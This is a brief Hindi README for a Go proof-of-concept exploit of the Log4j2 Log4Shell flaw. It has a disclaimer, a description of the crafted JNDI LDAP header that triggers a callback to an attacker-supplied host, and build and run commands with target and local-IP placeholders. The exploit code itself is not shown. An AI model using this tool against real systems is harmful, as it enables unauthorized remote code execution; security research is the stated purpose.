CVE-2021-44228 PoC (Log4Shell)

⚠️ अस्वीकरण:
यह उपकरण केवल शैक्षिक उद्देश्यों, सुरक्षा अनुसंधान और नियंत्रित परीक्षण वातावरण के लिए है।
बिना स्पष्ट अनुमति के सिस्टम के खिलाफ इसका उपयोग करना अवैध है और पूरी तरह से उपयोगकर्ता की जिम्मेदारी है।

📌 विवरण

इस परियोजना में Apache Log4j2 (CVE-2021-44228) भेद्यता के लिए एक सरल प्रूफ-ऑफ-कॉन्सेप्ट (PoC) शोषण शामिल है।
PoC लक्ष्य को JNDI LDAP पेलोड के साथ एक विशेष रूप से तैयार HTTP हेडर भेजता है।
यदि लक्ष्य संवेदनशील है, तो वह निर्दिष्ट LHOST पते पर एक कॉलबैक भेजेगा।

🚀 उपयोग

1️⃣ निर्माण

go build -o exploit exploit.go

2️⃣ चलाना

sudo ./exploit -r "http://<TARGET_URL>/?search=test" -l <LOCAL_IP>